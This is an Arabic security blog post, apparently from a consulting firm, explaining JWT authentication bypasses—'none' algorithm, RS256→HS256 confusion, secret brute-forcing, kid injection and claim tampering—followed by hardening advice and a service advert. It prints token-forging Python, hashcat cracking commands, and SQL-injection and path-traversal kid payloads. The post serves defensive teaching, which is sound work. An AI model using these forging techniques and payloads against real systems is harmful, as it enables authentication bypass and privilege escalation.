لوائح الأمن السيبراني الجديدة لعام 2026 سارية المفعول في المغرب. احصل على تدقيق مجاني للامتثال ←
← العودة إلى المدونة
المصادقة 2026-05-19 ⏱️ 14 دقيقة

تجاوز مصادقة JWT: خوارزمية "none" وتشويش RS256→HS256 وهجمات حقن المفاتيح

أصبحت JSON Web Tokens (رموز JWT) معياراً عملياً للمصادقة عديمة الحالة في واجهات برمجة التطبيقات الحديثة، وهياكل الخدمات الدقيقة، والتطبيقات ذات الصفحة الواحدة. يجعلها شكلها المدمج والمكتفي ذاتياً أناقةً في التصميم — غير أن هذا التصميم ذاته احتضن تاريخياً فئة من الثغرات الحرجة التي تتيح للمهاجمين تزوير رموز اعتباطية وتجاوز المصادقة كلياً. يشرّح هذا المقال خمس فئات رئيسية من هجمات JWT، ويوضّح الآليات الدقيقة وراء كل منها، ويقدّم أنماط دفاع مقوّاة ينبغي لكل مهندس أن يتقنها.


1. مراجعة سريعة لبنية JWT

يتكوّن رمز JWT من ثلاثة أجزاء مشفّرة بـ Base64URL مفصولة بنقاط:

header.payload.signature

الترويسة (Header) — كائن JSON يعلن نوع الرمز والخوارزمية التشفيرية المستخدمة لإنتاج التوقيع:

{
  "alg": "HS256",
  "typ": "JWT"
}

الحمولة (Payload) — كائن JSON يحتوي على ادعاءات (claims): تصريحات تتعلق بالمستخدم وبيانات وصفية إضافية. تشمل أسماء الادعاءات المسجّلة sub (الموضوع)، وexp (انتهاء الصلاحية)، وiss (المُصدِر)، وaud (الجمهور)، وiat (وقت الإصدار)، وnbf (ليس قبل). كلها اختيارية وفق المواصفة — وهذا في حد ذاته مشكلة أمنية.

{
  "sub": "42",
  "role": "user",
  "iat": 1747699200,
  "exp": 1747702800
}

التوقيع (Signature) — يُحسب على الترويسة والحمولة المشفّرتين باستخدام الخوارزمية المحددة في الترويسة. بالنسبة لـ HS256، هو HMAC-SHA256(base64url(header) + "." + base64url(payload), secret). لـ RS256، هو توقيع RSA-PKCS1v1.5 على البيانات ذاتها باستخدام مفتاح خاص. التوقيع هو ما يمنع التلاعب — إلا إذا كانت منطق التحقق معطوباً.

الرؤية الجوهرية: من المفترض أن يتحقق الخادم من التوقيع باستخدام خوارزمية ثابتة وموثوقة. الخطأ الكارثي الذي يُتيح معظم هجمات JWT هو عندما يثق الخادم بحقل alg في الترويسة غير الموثوقة لتحديد كيفية التحقق من الرمز.

2. الهجوم الأول — خوارزمية "none" (فئة CVE-2015-9235)

تُعرّف مواصفة JWT (RFC 7519) القيمة "none" خوارزميةً صالحة، مخصصةً فقط للحالات التي تضمن فيها آلية أخرى سلامة الرمز. قبلت مكتبات JWT المبكرة العديدة — بما فيها إصدارات node-jsonwebtoken وpyjwt وphp-jwt — القيمة alg: "none" دون أي تطبيق خاص، معاملةً إياها كتعليمة مشروعة لتخطي التحقق من التوقيع كلياً.

الهجوم بسيط بشكل مذهل:

  1. الحصول على أي رمز JWT صالح من التطبيق المستهدف.
  2. فك تشفير الترويسة بـ Base64URL.
  3. تغيير "alg": "HS256" إلى "alg": "none".
  4. إعادة تشفير الترويسة وإعادة بناء الرمز بتوقيع فارغ (يجب الإبقاء على النقطة الأخيرة).
  5. تعديل الحمولة لرفع الصلاحيات (مثل تغيير role إلى admin).
  6. إرسال الرمز المزوّر — يقبله الخادم المعطوب دون التحقق من التوقيع.

هذا عرض توضيحي كامل بلغة Python لدورة التلاعب:

import base64, json

# Original header (base64url decoded)
header = {"alg": "HS256", "typ": "JWT"}

# Attacker changes to:
evil_header = {"alg": "none", "typ": "JWT"}

# Encode without padding
evil_b64 = base64.urlsafe_b64encode(
    json.dumps(evil_header, separators=(',',':')).encode()
).rstrip(b'=').decode()

print(evil_b64)  # eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Original payload (example — attacker escalates role)
payload = {"sub": "42", "role": "admin", "exp": 9999999999}
evil_payload_b64 = base64.urlsafe_b64encode(
    json.dumps(payload, separators=(',',':')).encode()
).rstrip(b'=').decode()

# The resulting JWT has an empty signature — note the trailing dot
forged_jwt = f"{evil_b64}.{evil_payload_b64}."
print(forged_jwt)

ينتهي الرمز النهائي بنقطة وبلا توقيع. تستقبل مكتبة معطوبة هذا الرمز، تقرأ alg: "none"، لا تُجري أي فحص تشفيري، وتُعيد الحمولة كبيانات موثوقة. يكون المهاجم الآن مُصادَقاً كمدير باستخدام رمز مؤلَّف بالكامل.

تجدر الإشارة إلى أن بعض المكتبات تتحقق تحديداً من متغيرات حالة الأحرف: None، وNONE، وnOnE. يختبر المهاجم المنهجي كل التباديل. تُتتبّع هذه الفئة الكاملة من الثغرات تحت معرف CVE-2015-9235 وقد أثّرت في كل مكتبة JWT رئيسية تقريباً صدرت قبل عام 2016.


3. الهجوم الثاني — تشويش الخوارزمية: RS256 → HS256

هذا الهجوم أكثر دقةً وأشد خطورةً في الأنظمة الحديثة. يستغل عدم التماثل بين آلية عمل التحقق باستخدام RSA مقارنةً بـ HMAC، إلى جانب مكتبات لا تُطبّق اتساق الخوارزميات.

عندما يستخدم خادم RS256 (RSA + SHA-256):

  • يوقّع الخادم الرمز بـ مفتاحه الخاص (يُحفظ سراً).
  • يتحقق الخادم (أو أي مستهلك) من الرمز بـ المفتاح العام المقابل (موزّع علناً، غالباً عبر نقطة نهاية JWKS مثل /.well-known/jwks.json).

يسير الهجوم كما يلي:

  1. يسترجع المهاجم المفتاح العام RSA للخادم — فهو علني بطبيعة التصميم.
  2. ينشئ المهاجم رمز JWT جديداً معدِّلاً الحمولة وفق رغبته.
  3. يغيّر المهاجم ترويسة alg من RS256 إلى HS256.
  4. يوقّع المهاجم الرمز الجديد بـ HMAC-SHA256 مستخدماً المفتاح العام للخادم كسر HMAC.
  5. يستقبل الخادم المعطوب الرمز، يقرأ alg: HS256، ويتحقق من HMAC باستخدام... المفتاح العام المتوفر لديه — وهو بالضبط المفتاح الذي استخدمه المهاجم للتوقيع. ينجح التحقق.
import jwt  # PyJWT
from cryptography.hazmat.primitives import serialization

# Attacker has obtained the server's RSA public key (e.g., from JWKS endpoint)
with open("server_public_key.pem", "rb") as f:
    public_key_bytes = f.read()

# Craft malicious payload
evil_payload = {
    "sub": "1",          # Target admin user ID
    "role": "admin",
    "exp": 9999999999
}

# Sign with HS256 using the PUBLIC KEY as the secret — this is the attack
forged_token = jwt.encode(
    evil_payload,
    public_key_bytes,    # Public key used as HMAC secret
    algorithm="HS256"
)

print(forged_token)

ينجح هذا لأن استدعاء التحقق من جانب الخادم يبدو كالتالي: jwt.decode(token, public_key, algorithms=["HS256", "RS256"]) — تحتوي القائمة البيضاء للخوارزميات على كليهما، وتستخدم المكتبة بسعادة أيهما يحدده الرأس. الحل صارم: يجب على الخادم تثبيت الخوارزمية المتوقعة وعدم قبول أي خوارزمية مختلفة من الترويسة.


4. الهجوم الثالث — اختراق السر بالقوة الغاشمة

عند استخدام الخادم لـ HS256، تعتمد أمان الرمز بالكامل على سرية وعشوائية مفتاح HMAC. التطبيقات التي تستخدم سراً قصيراً أو مستمداً من قاموس أو افتراضياً (مثل secret، أو password، أو changeme، أو jwt_secret) تُعرّض نفسها لهجمات القاموس والقوة الغاشمة دون اتصال بالإنترنت.

بما أن JWT مكتفٍ ذاتياً والمهاجم يحتاج فقط إلى رمز مُلتقط، فالهجوم يُنفَّذ كلياً دون اتصال — لا يلزم أي تفاعل مع الخادم بعد التقاط الرمز، مما يجعل تحديد معدل الطلبات دفاعاً غير فعّال.

باستخدام hashcat (مُعجَّل بوحدة معالجة الرسوميات):

# Mode 16500 = JWT (HS256/HS384/HS512)
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt

# With rule-based mutation
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

باستخدام jwt-cracker (Node.js):

jwt-cracker -t <captured_jwt> -a "abcdefghijklmnopqrstuvwxyz" --max-length 8

يمكن لتجمّع وحدات GPU استنفاد جميع السلاسل الأبجدية الرقمية حتى 8 أحرف في دقائق. الحد الأدنى العملي للدفاع هو سر عشوائي تشفيرياً بطول 256 بت (32 بايت) على الأقل — مما يجعل القوة الغاشمة غير مجدية حسابياً بالأجهزة الحالية. كثير من الأُطر تستخدم سلاسل قصيرة افتراضياً؛ استبدلها دائماً صراحةً في بيئة الإنتاج.

import secrets

# Generate a secure 256-bit (32-byte) random key — do this once and store it securely
SECRET_KEY = secrets.token_hex(32)  # 64 hex chars = 256 bits
print(SECRET_KEY)

5. الهجوم الرابع — حقن معامل معرّف المفتاح (kid)

معامل kid (Key ID) حقل ترويسة JWT اختياري يُخبر الخادم بالمفتاح الذي يجب استخدامه للتحقق — مفيد عند تدوير المفاتيح أو دعم عملاء متعددين. والأهم، قيمة kid مصدرها ترويسة الرمز الذي يتحكم فيه المهاجم. إن استخدم الخادم هذه القيمة غير المُصفّاة في استعلام SQL أو بحث مسار ملف، ستنتج ثغرات حقن خطيرة.

5.1 حقن SQL عبر kid

لنتصوّر خادماً يجلب مفتاح التوقيع من قاعدة البيانات:

SELECT key_value FROM jwt_keys WHERE key_id = '<kid from header>'

يصوغ المهاجم رمزاً بالترويسة التالية:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "' UNION SELECT 'attacker_controlled_secret' -- "
}

يُعيد SQL المحقون السلسلة التي اختارها المهاجم كقيمة مفتاح. ثم يوقّع المهاجم رمزه المزوّر بتلك السلسلة ذاتها ويتحقق الخادم منه بنجاح، لأن كلا الطرفين يتشاركان الآن "السر" الذي حقنه المهاجم.

5.2 اجتياز المسار (Path Traversal) عبر kid

إن قرأ الخادم المفتاح من القرص استناداً إلى kid:

# Vulnerable server-side code (simplified)
key_path = f"/var/jwt/keys/{kid}"
with open(key_path, "rb") as f:
    signing_key = f.read()

يضبط المهاجم:

{
  "alg": "HS256",
  "kid": "../../dev/null"
}

على Linux، تُقرأ /dev/null كسلسلة بايت فارغة. يوقّع المهاجم رمزه المزوّر بسلسلة فارغة كمفتاح HMAC. يقرأ الخادم /dev/null، يحصل على مفتاح فارغ، ويتطابق التحقق — منحاً وصولاً كاملاً. أهداف مثيرة للاهتمام أخرى تشمل /proc/sys/kernel/ostype (محتوى قابل للتنبؤ) أو ملفات التكوين المقروءة من قِبل الجميع.


6. الهجوم الخامس — التلاعب في ادعاءات JWT

بمجرد تجاوز التحقق من التوقيع بأي من موجهات الهجوم السابقة، يستطيع المهاجم التلاعب في أي ادعاء في الحمولة. نمطان مؤثران بشكل خاص:

6.1 تصعيد الصلاحيات عبر ادعاء الدور

تُدمج تطبيقات كثيرة قرارات التفويض في حمولة JWT:

// Legitimate token payload
{"sub": "84", "role": "user", "exp": 1747702800}

// Attacker-forged payload after bypassing signature verification
{"sub": "84", "role": "admin", "exp": 9999999999}

إن وثق التطبيق بادعاء role دون فحوصات تفويض من جانب الخادم مقابل قاعدة البيانات، يحصل المهاجم على وصول إداري. هذا نتيجة مباشرة للاعتماد على بيانات رموز من جانب العميل لقرارات التفويض دون دفاع متعمق.

6.2 المرجع المباشر غير الآمن للكائنات (IDOR) عبر ادعاء sub

يرتبط ادعاء sub في كثير من الأحيان مباشرةً بمعرّف المستخدم المستخدَم في استعلامات قاعدة البيانات:

// Attacker's own token
{"sub": "1042", "role": "user"}

// Forged token targeting the admin account (user ID 1)
{"sub": "1", "role": "user"}

نقاط النهاية التي تُجري استعلامات مثل SELECT * FROM users WHERE id = {sub} دون التحقق من مالك الرمز ستُعيد بيانات المستخدم المستهدف. هذا يُتيح تصعيد الصلاحيات أفقياً وعمودياً وفق قيمة sub المستهدفة.


7. حالات بارزة في الواقع

CVE-2018-1000531 (jwt-simple، نظام Meteor البيئي) — فشلت حزمة Node.js jwt-simple في التحقق من حقل الخوارزمية، قابلةً القيمة none كخوارزمية صالحة. كان أي تطبيق يستخدم هذه المكتبة قابلاً للاستغلال بتفاهة. تطلّب الإصلاح من المستدعين تمرير الخوارزمية المتوقعة صراحةً إلى دالة decode.

CVE-2022-21449 — "التوقيعات الغيبية" Java — كانت هذه ثغرة مدمِّرة في Java 15 حتى 17 (Oracle JDK وOpenJDK). قبَل تطبيق التحقق من توقيع ECDSA في java.security توقيعاً كله أصفار (أو بدقة أكثر، توقيع مشوّه r=0, s=0) كتوقيع صالح لـ أي JWT موقَّع بـ ECDSA، بصرف النظر عن المفتاح أو محتوى الرسالة. يمكن للمهاجم تقديم رمز JWT مزوّر ببساطة مع توقيع فارغ وسيؤكد وقت تشغيل Java صحّته تشفيرياً. كل تطبيق Java يستخدم التحقق من JWT عبر ES256/ES384/ES512 على تلك الإصدارات من JDK كان متأثراً دون أي تغييرات في الكود. كان الإصلاح تصحيحاً لـ JDK؛ احتاجت جميع الأنظمة المبنية على Java على الإصدارات المتأثرة إلى تصحيح طارئ.

توضّح هذه الحالات أن ثغرات JWT تمتد عبر المكدّس بالكامل: أخطاء تطبيق المكتبات، وضعف تصميم البروتوكول، وسوء التكوين على مستوى التطبيق — كلها تُسهم في هذه المشكلات.


8. أفضل ممارسات الدفاع

الدفاع ضد هجمات JWT يستلزم ضوابط متعددة الطبقات على مستوى تهيئة المكتبة، ومنطق التطبيق، والبنية التحتية.

8.1 إدراج الخوارزمية المتوقعة في القائمة البيضاء — لا تثق بالترويسة أبداً

هذا هو الإجراء المضاد الأكثر أهمية. يجب ألا يستخدم الخادم الخوارزمية المحددة في ترويسة الرمز أبداً. عوضاً عن ذلك، يجب تطبيق الخوارزمية المتوقعة على مستوى التكوين:

import jwt

# INSECURE: trusting the header's algorithm
payload = jwt.decode(token, SECRET_KEY)  # Old API — dangerous

# INSECURE: allowing multiple algorithms including none
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256", "none"])

# SECURE: whitelist algorithm, validate all claims
payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],  # Never include "none" or multiple algo families
    options={"require": ["exp", "iat", "sub"]}
)

# SECURE RS256 example: pin to the public key object, never accept HS256
from cryptography.hazmat.primitives.serialization import load_pem_public_key

public_key = load_pem_public_key(PUBLIC_KEY_PEM)
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],  # Only RS256 — algorithm confusion blocked
    options={"require": ["exp", "iat", "sub", "iss"]}
)

8.2 استخدام أسرار قوية لـ HS256

يجب أن تكون أسرار HS256 المشتركة عشوائية تشفيرياً وبطول لا يقل عن 256 بت (32 بايت). أي شيء أقصر أو مشتق من قيمة قابلة للتنبؤ (اسم المضيف، اسم التطبيق، القيمة الافتراضية لمتغير البيئة) عُرضة للقوة الغاشمة دون اتصال. فكّر في استخدام نظام إدارة الأسرار (HashiCorp Vault، أو AWS Secrets Manager) لحقن المفتاح في وقت التشغيل بدلاً من تخزينه في ملفات البيئة.

8.3 تفضيل الخوارزميات غير المتماثلة للأنظمة الموزّعة

في هياكل الخدمات الدقيقة حيث تتحقق خدمات متعددة من الرموز، تُلغي RS256 أو ES256 الحاجة إلى تقاسم سر مشترك بين الخدمات. يحتفظ خادم التفويض فقط بالمفتاح الخاص؛ تحتاج جميع الخدمات الأخرى فقط إلى المفتاح العام ولا تستطيع تزوير الرموز حتى لو تعرّضت للاختراق.

8.4 التحقق من جميع الادعاءات القياسية

  • exp — رفض الرموز التي تجاوزت وقت انتهاء صلاحيتها. يجب ألا تتجاوز قدر التسامح في انحراف الساعة 60 ثانية.
  • nbf — رفض الرموز غير الصالحة بعد.
  • iss — التحقق من أن المُصدِر يتطابق مع خادم التفويض المتوقع.
  • aud — التحقق من أن الجمهور يتطابق مع معرّف خدمتك، مانعاً إعادة استخدام الرموز عبر الخدمات.
  • sub — التحقق من أن الموضوع موجود ونشط في مخزن المستخدمين — لا تعتمد فقط على الرمز.

8.5 تطبيق انتهاء صلاحية قصير مع تدوير رمز التحديث

يجب أن تنتهي صلاحية رموز الوصول في 15 دقيقة أو أقل. اقرنها بمخطط تدوير رمز التحديث: تُصدر كل عملية تحديث رمز تحديث جديداً وتُبطل القديم. إن أُعيد استخدام رمز تحديث (مما يُشير إلى سرقته)، أبطل فوراً عائلة الرموز بأكملها. هذا يُقيّد نافذة التعرض لأي رمز مخترق.

8.6 تعقيم معامل kid والتحقق منه

إن كان نظامك يستخدم معامل kid:

  • تحقق من kid مقابل قائمة بيضاء صارمة من معرّفات المفاتيح المعروفة قبل أي بحث.
  • لا تدرج kid أبداً في استعلامات SQL — استخدم الاستعلامات ذات معاملات حصراً.
  • لا تستخدم kid أبداً لبناء مسارات نظام الملفات دون القياس المعياري والتحقق من بادئة المسار.
  • خزّن المفاتيح في الذاكرة أو نظام مخصص لإدارة المفاتيح، وليس في نظام الملفات.

8.7 لا تعتمد على ادعاءات JWT للتفويض من جانب الخادم

حتى مع رمز محقَّق بشكل صحيح، لا تثق بشكل أعمى بادعاءات الدور أو الأذونات للعمليات الحساسة. نفّذ فحوصات التفويض مقابل حالة قاعدة البيانات الحيّة — قد يكون دور المستخدم قد تغيّر منذ إصدار الرمز. JWT عديم الحالة بطبيعة التصميم، مما يعني أن الإلغاء يتطلب إما انتهاء صلاحية قصيراً أو قائمة سوداء للرموز أو سجل jti.

8.8 التحقق الشامل الآمن من الرمز (Python/PyJWT)

import jwt
from jwt.exceptions import (
    ExpiredSignatureError, InvalidAlgorithmError,
    InvalidAudienceError, InvalidIssuerError, DecodeError
)

SECRET_KEY = "your-256-bit-random-secret-here"  # Load from secrets manager

def verify_token(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=["HS256"],        # Strict algorithm whitelist
            audience="api.example.com",  # Validate audience claim
            issuer="auth.example.com",   # Validate issuer claim
            options={
                "require": ["exp", "iat", "sub", "iss", "aud"],
                "verify_exp": True,
                "verify_iat": True,
                "leeway": 10             # 10-second clock skew tolerance
            }
        )
        # Additional: verify sub exists in your user database
        return payload
    except ExpiredSignatureError:
        raise AuthError("Token has expired")
    except InvalidAlgorithmError:
        raise AuthError("Algorithm not permitted")
    except (InvalidAudienceError, InvalidIssuerError):
        raise AuthError("Token audience or issuer mismatch")
    except DecodeError:
        raise AuthError("Token is malformed")

الخلاصة

تتشارك ثغرات تجاوز مصادقة JWT سبباً جذرياً مشتركاً: يثق الخادم بمدخلات يتحكم فيها المهاجم (ترويسة الرمز) لاتخاذ قرارات بالغة الأهمية أمنياً. سواء أكان ذلك حقل alg، أم معامل kid، أم غياب التحقق من الادعاءات، فكل هجوم يستغل اختصاراً في التصميم أو التطبيق.

الدفاعات مفهومة جيداً وسهلة التطبيق: ثبّت خوارزميتك، واستخدم مفاتيح قوية، وتحقق من كل ادعاء قياسي، واحجب اجتياز المسار وحقن SQL في عمليات البحث عن المفاتيح، وأسند التفويض المبني على JWT بفحوصات من جانب الخادم. الفجوة بين التطبيقات المعطوبة والآمنة غالباً ما تكون سطراً واحداً من التكوين — لكن هذا السطر بالغ الأهمية.

مع استمرار توسّع استخدام JWT في خلفيات تطبيقات الهاتف المحمول، ومصادقة إنترنت الأشياء، والاتصال بين الخدمات، لم يعد فهم هذه الأنماط الهجومية معرفةً اختيارية للمهندسين المعنيين بالأمن. دقّق كود التحقق من الرموز لديك اليوم، قبل أن يفعل ذلك أحد المهاجمين نيابةً عنك.

هل تحتاج إلى تدقيق أمني لواجهة برمجة التطبيقات؟

هل تطبيق JWT لديك معرّض للخطر؟ يُجري فريق Cayvora Security عمليات تدقيق معمّقة للـ API وأنظمة المصادقة للكشف عن الثغرات الحرجة قبل أن يتمكن المهاجمون من ذلك.

✉️ طلب تدقيق أمني للمصادقة

مقالات ذات صلة